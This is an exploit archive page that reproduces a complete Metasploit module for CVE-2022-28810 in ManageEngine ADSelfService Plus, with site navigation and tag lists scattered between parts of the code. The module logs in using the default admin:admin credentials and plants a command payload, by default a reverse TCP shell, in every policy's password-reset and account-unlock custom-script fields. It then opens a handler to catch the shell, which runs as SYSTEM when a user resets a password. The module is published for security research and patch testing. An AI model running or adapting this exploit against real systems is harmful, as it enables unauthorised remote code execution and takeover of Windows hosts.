ManageEngine ADSelfService Plus Custom Script Execution

Authored by Jake Baines, Andrew Iwamaye, Dan Kelley, Hernan Diaz | Site metasploit.com   Posted Apr 21, 2022

This Metasploit module exploits the "custom script" feature of ADSelfService Plus. The feature was removed in build 6122 as part of the patch for CVE-2022-28810. For purposes of this module, a "custom script" is arbitrary operating system command execution. This module uses an attacker provided "admin" account to insert the malicious payload into the custom script fields. When a user resets their password or unlocks their account, the payload in the custom script will be executed. The payload will be executed as SYSTEM if ADSelfService Plus is installed as a service, which we believe is the normal operational behavior. This is a passive module because user interaction is required to trigger the payload. This module also does not automatically remove the malicious code from the remote target. Use the "TARGET_RESET" operation to remove the malicious custom script when you are done.

tags | exploit, remote, arbitrary
advisories | CVE-2022-28810
SHA-256 | d91150e34529bee9dd92e87b3f063460c0b5e994a412c286b68d6cb26a58d358   **Download** | **Favorite** | **View**

Related Files

Share This

Like 0   Tweet   LinkedIn   Reddit   Digg   StumbleUpon

Change Mirror   Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine ADSelfService Plus Custom Script Execution',
        'Description' => %q{
          This module exploits the "custom script" feature of ADSelfService Plus. The
          feature was removed in build 6122 as part of the patch for CVE-2022-28810.
          For purposes of this module, a "custom script" is arbitrary operating system
          command execution.

          This module uses an attacker provided "admin" account to insert the malicious
          payload into the custom script fields. When a user resets their password or
          unlocks their account, the payload in the custom script will be executed.
          The payload will be executed as SYSTEM if ADSelfService Plus is installed as
          a service, which we believe is the normal operational behavior.

          This is a passive module because user interaction is required to trigger the
          payload. This module also does not automatically remove the malicious code from
          the remote target. Use the "TARGET_RESET" operation to remove the malicious
          custom script when you are done.

          ADSelfService Plus uses default credentials of "admin":"admin"
        },
        'Author' => [
          # Discovered and exploited by unknown threat actors
          'Jake Baines', # Analysis, CVE credit, and Metasploit module
          'Hernan Diaz', # Analysis and CVE credit
          'Andrew Iwamaye', # Analysis and CVE credit
          'Dan Kelley' # Analysis and CVE credit
        ],
        'References' => [
          ['CVE', '2022-28810'],
          ['URL', 'https://www.manageengine.com/products/self-service-password/kb/cve-2022-28810.html'],
          ['URL', 'https://www.rapid7.com/blog/post/2022/04/14/cve-2022-28810-manageengine-adselfservice-plus-
authenticated-command-execution-fixed/']
        ],
        'DisclosureDate' => '2022-04-09',
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => ARCH_CMD,
        'Privileged' => true, # false if ADSelfService Plus is not run as a service
        'Stance' => Msf::Exploit::Stance::Passive,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/jjs_reverse_tcp'
              }
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files
Ubuntu 52 files
Gentoo 44 files
Debian 27 files
Apple 25 files
Google Security Research 14 files
malvuln 10 files
nu11secur1ty 6 files
mjurczyk 4 files
George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

```
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8888,
          'DisablePayloadHandler' => true,
          'JJS_PATH' => '..\\jre\\bin\\jjs.exe'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Path traversal for auth bypass', '/']),
      OptString.new('USERNAME', [true, 'The administrator username', 'admin']),
      OptString.new('PASSWORD', [true, 'The administrator user\'s password', 'admin']),
      OptBool.new('TARGET_RESET', [true, 'On the target, disables custom scripts and clears custom script
field', false])
    ])
  end

  ##
  # Because this is an authenticated vulnerability, we will rely on a version string
  # for the check function. We can extract the version (or build) from selfservice/index.html.
  ##
  def check
    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path,
'/selfservice/index.html'))
    unless res
      return CheckCode::Unknown('The target failed to respond to check.')
    end

    unless res.code == 200
      return CheckCode::Safe('Failed to retrieve /selfservice/index.html')
    end

    ver = res.body[/\.css\?buildNo=(?<build_id>[0-9]+)/, :build_id]
    if ver.nil?
      return CheckCode::Safe('Could not extract a version number')
    end

    if Rex::Version.new(ver) < Rex::Version.new('6122')
      return CheckCode::Appears("This determination is based on the version string: #{ver}.")
    end

    CheckCode::Safe("This determination is based on the version string: #{ver}.")
  end

  ##
  # Authenticate with the remote target. Login requires four steps:
  #
  # 1. Grab a CSRF token
  # 2. Post credentials to /ServletAPI/accounts/login
  # 3. Post credentials to /j_security_check
  # 4. Grab another CSRF token for authenticated requests
  #
  # @return a new CSRF token to use with authenticated requests
  ##
  def authenticate
    # grab a CSRF token from the index
    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do') })
    fail_with(Failure::Unreachable, 'The target did not respond') unless res
    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? ||
res.get_cookies_parsed['HttpOnly, adscsrf'].empty?
    csrf_tok = res.get_cookies_parsed['HttpOnly, adscsrf'].to_s[/HttpOnly, adscsrf=(?<token>[0-9a-f-]+);
path=/, :token]
    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok

    # send the first login request to get the ssp token
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/ServletAPI/accounts/login'),
      'keep_cookies' => true,
      'vars_post' =>
      {
        'loginName' => datastore['USERNAME'],
        'domainName' => 'ADSelfService Plus Authentication',
        'j_username' => datastore['USERNAME'],
        'j_password' => datastore['PASSWORD'],
        'AUTHRULE_NAME' => 'ADAuthenticator',
        'adscsrf' => csrf_tok
      }
    })
    fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200

    # send the second login request to get the sso token
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/j_security_check'),
      'keep_cookies' => true,
      'vars_post' =>
      {
        'loginName' => datastore['USERNAME'],
        'domainName' => 'ADSelfService Plus Authentication',
        'j_username' => datastore['USERNAME'],
        'j_password' => datastore['PASSWORD'],
        'AUTHRULE_NAME' => 'ADAuthenticator',
        'adscsrf' => csrf_tok
      }
    })
    fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 302

    # revisit authorization.do to complete authentication
    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'),
'keep_cookies' => true })
    fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200
    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? ||
res.get_cookies_parsed['adscsrf'].empty?
    csrf_tok = res.get_cookies_parsed['adscsrf'].to_s[/adscsrf=(?<token>[0-9a-f-]+);/, :token]
    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok

    print_good('Authentication successful')
```

- Intrusion Detection (866)
- Java (2,888)
- JavaScript (817)
- Kernel (6,255)
- Local (14,173)
- Magazine (586)
- Overflow (12,390)
- Perl (1,417)
- PHP (5,087)
- Proof of Concept (2,290)
- Protocol (3,426)
- Python (1,449)
- Remote (30,009)
- Root (3,496)
- Ruby (594)
- Scanner (1,631)
- Security Tool (7,768)
- Shell (3,098)
- Shellcode (1,204)
- Sniffer (885)
- Spoof (2,165)
- SQL Injection (16,089)
- TCP (2,377)
- Trojan (685)
- UDP (875)
- Virus (661)
- Vulnerability (31,104)
- Web (9,329)
- Whitepaper (3,728)
- x86 (946)
- XSS (17,478)
- Other

- BSD (370)
- CentOS (55)
- Cisco (1,917)
- Debian (6,620)
- Fedora (1,690)
- FreeBSD (1,242)
- Gentoo (4,272)
- HPUX (878)
- iOS (330)
- iPhone (108)
- IRIX (220)
- Juniper (67)
- Linux (44,118)
- Mac OS X (684)
- Mandriva (3,105)
- NetBSD (255)
- OpenBSD (479)
- RedHat (12,339)
- Slackware (941)
- Solaris (1,607)
- SUSE (1,444)
- Ubuntu (8,147)
- UNIX (9,150)
- UnixWare (185)
- Windows (6,504)
- Other

```
    csrf_tok
  end

  ##
  # Triggering the payload requires user interaction. Using the default payload
  # handler will cause this module to exit after planting the payload, so the
  # module will spawn it's own handler so that it doesn't exit until a shell
  # has been received/handled. Note that this module is passive so it should
  # just be chilling quietly in the background.
  #
  # This code is largely copy/paste from windows/local/persistence.rb
  ##
  def create_multihandler(lhost, lport, payload_name)
    pay = framework.payloads.create(payload_name)
    pay.datastore['LHOST'] = lhost
    pay.datastore['LPORT'] = lport
    print_status('Starting exploit/multi/handler')

    # Set options for module
    mh = framework.exploits.create('multi/handler')
    mh.share_datastore(pay.datastore)
    mh.datastore['PAYLOAD'] = payload_name
    mh.datastore['EXITFUNC'] = 'thread'
    mh.datastore['ExitOnSession'] = true
    # Validate module options
    mh.options.validate(mh.datastore)
    # Execute showing output
    mh.exploit_simple(
      'Payload' => mh.datastore['PAYLOAD'],
      'LocalInput' => user_input,
      'LocalOutput' => user_output,
      'RunAsJob' => true
    )

    # Check to make sure that the handler is actually valid
    # If another process has the port open, then the handler will fail
    # but it takes a few seconds to do so.  The module needs to give
    # the handler time to fail or the resulting connections from the
    # target could end up on on a different handler with the wrong payload
    # or dropped entirely.
    Rex.sleep(5)
    return nil if framework.jobs[mh.job_id.to_s].nil?

    return mh.job_id.to_s
  end

  # The json policy blob that ADSSP provides us is not accepted by ADSSP
  # if we try to POST it back. Specifically, ADSP is very unhappy about all
  # the booleans using "true" or "false" instead of "1" or "0" *except* for
  # HIDE_CAPTCHA_RPUA which has to remain a boolean. Sounds unbelievable, but
  # here we are.
  def fix_adssp_json(json_hash)
    json_hash.map do |key, value|
      if value.is_a? Hash
        [key, fix_adssp_json(value)]
      elsif value.is_a? Array
        value = value.map do |array_val|
          if array_val.is_a? Hash
            array_val = fix_adssp_json(array_val)
          end
          array_val
        end
        [key, value]
      elsif key == 'HIDE_CAPTCHA_RPUA'
        [key, value]
      elsif value.is_a? TrueClass
        [key, 1]
      elsif value.is_a? FalseClass
        [key, 0]
      else
        [key, value]
      end
    end.to_h
  end

  def exploit
    csrf_tok = authenticate

    # Grab the list of configured policies
    policy_list_uri = normalize_uri(target_uri.path,
'/ServletAPI/configuration/policyConfig/getPolicyConfigDetails')
    print_status("Requesting policy list from #{policy_list_uri}")
    res = send_request_cgi({ 'method' => 'GET', 'uri' => policy_list_uri })
    fail_with(Failure::UnexpectedReply, 'Log in attempt failed') unless res.code == 200
    policy_json = res.get_json_document
    fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if policy_json.nil?
    policy_details_json = policy_json['POLICY_DETAILS']
    fail_with(Failure::UnexpectedReply, "The target didn't have any configured policies") if
policy_details_json.nil?

    # There can be multiple policies. This logic will loop over each one, grab the configuration
    # details, update the configuration to include our payload, and then POST it back.
    policy_details_json.each do |policy_entry|
      policy_id = policy_entry['POLICY_ID']
      policy_name = policy_entry['POLICY_NAME']
      fail_with(Failure::UnexpectedReply, 'Policy details missing name or id') if policy_id.nil? ||
policy_name.nil?

      print_status("Requesting policy details for #{policy_name}")
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getAPCDetails'),
        'vars_get' =>
        {
          'POLICY_ID' => policy_id
        }
      })
      fail_with(Failure::UnexpectedReply, 'Acquiring specific policy details failed') unless res.code == 200

      # load the JSON and insert (or remove) our payload
      specific_policy_json = res.get_json_document
      fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if specific_policy_json.nil?
      fail_with(Failure::UnexpectedReply, "The target didn't contain the expected JSON") if
specific_policy_json['SCRIPT_COMMAND_RESET'].nil?
      new_payload = "cmd.exe /c #{payload.encoded}"

      if datastore['TARGET_RESET']
```

```
        print_status('Disabling custom script functionality')
        specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '0'
        specific_policy_json['SCRIPT_COMMAND_RESET'] = ''
        specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '0'
        specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = ''
      else
        print_status('Enabling custom scripts and inserting the payload')
        specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '1'
        specific_policy_json['SCRIPT_COMMAND_RESET'] = new_payload
        specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '1'
        specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = new_payload
      end

      # fix up the ADSSP provided json so ADSSP will accept it o.O
      updated_policy = fix_adssp_json(specific_policy_json).to_json

      policy_update_uri = normalize_uri(target_uri.path,
'/ServletAPI/configuration/policyConfig/setAPCDetails')
      print_status("Posting updated policy configuration to #{policy_update_uri}")
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => policy_update_uri,
        'vars_post' =>
        {
          'APC_SETTINGS_DETAILS' => updated_policy,
          'POLICY_NAME' => policy_name,
          'adscsrf' => csrf_tok
        }
      })
      fail_with(Failure::UnexpectedReply, 'Policy update request failed') unless res.code == 200

      # spawn our own payload handler?
      if !datastore['TARGET_RESET'] && datastore['DisablePayloadHandler']
        listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])
        if listener_job_id.blank?
          print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by
another process.")
        end
      else
        print_good('Done!')
      end
    end
  end
end
```

Login or Register to add favorites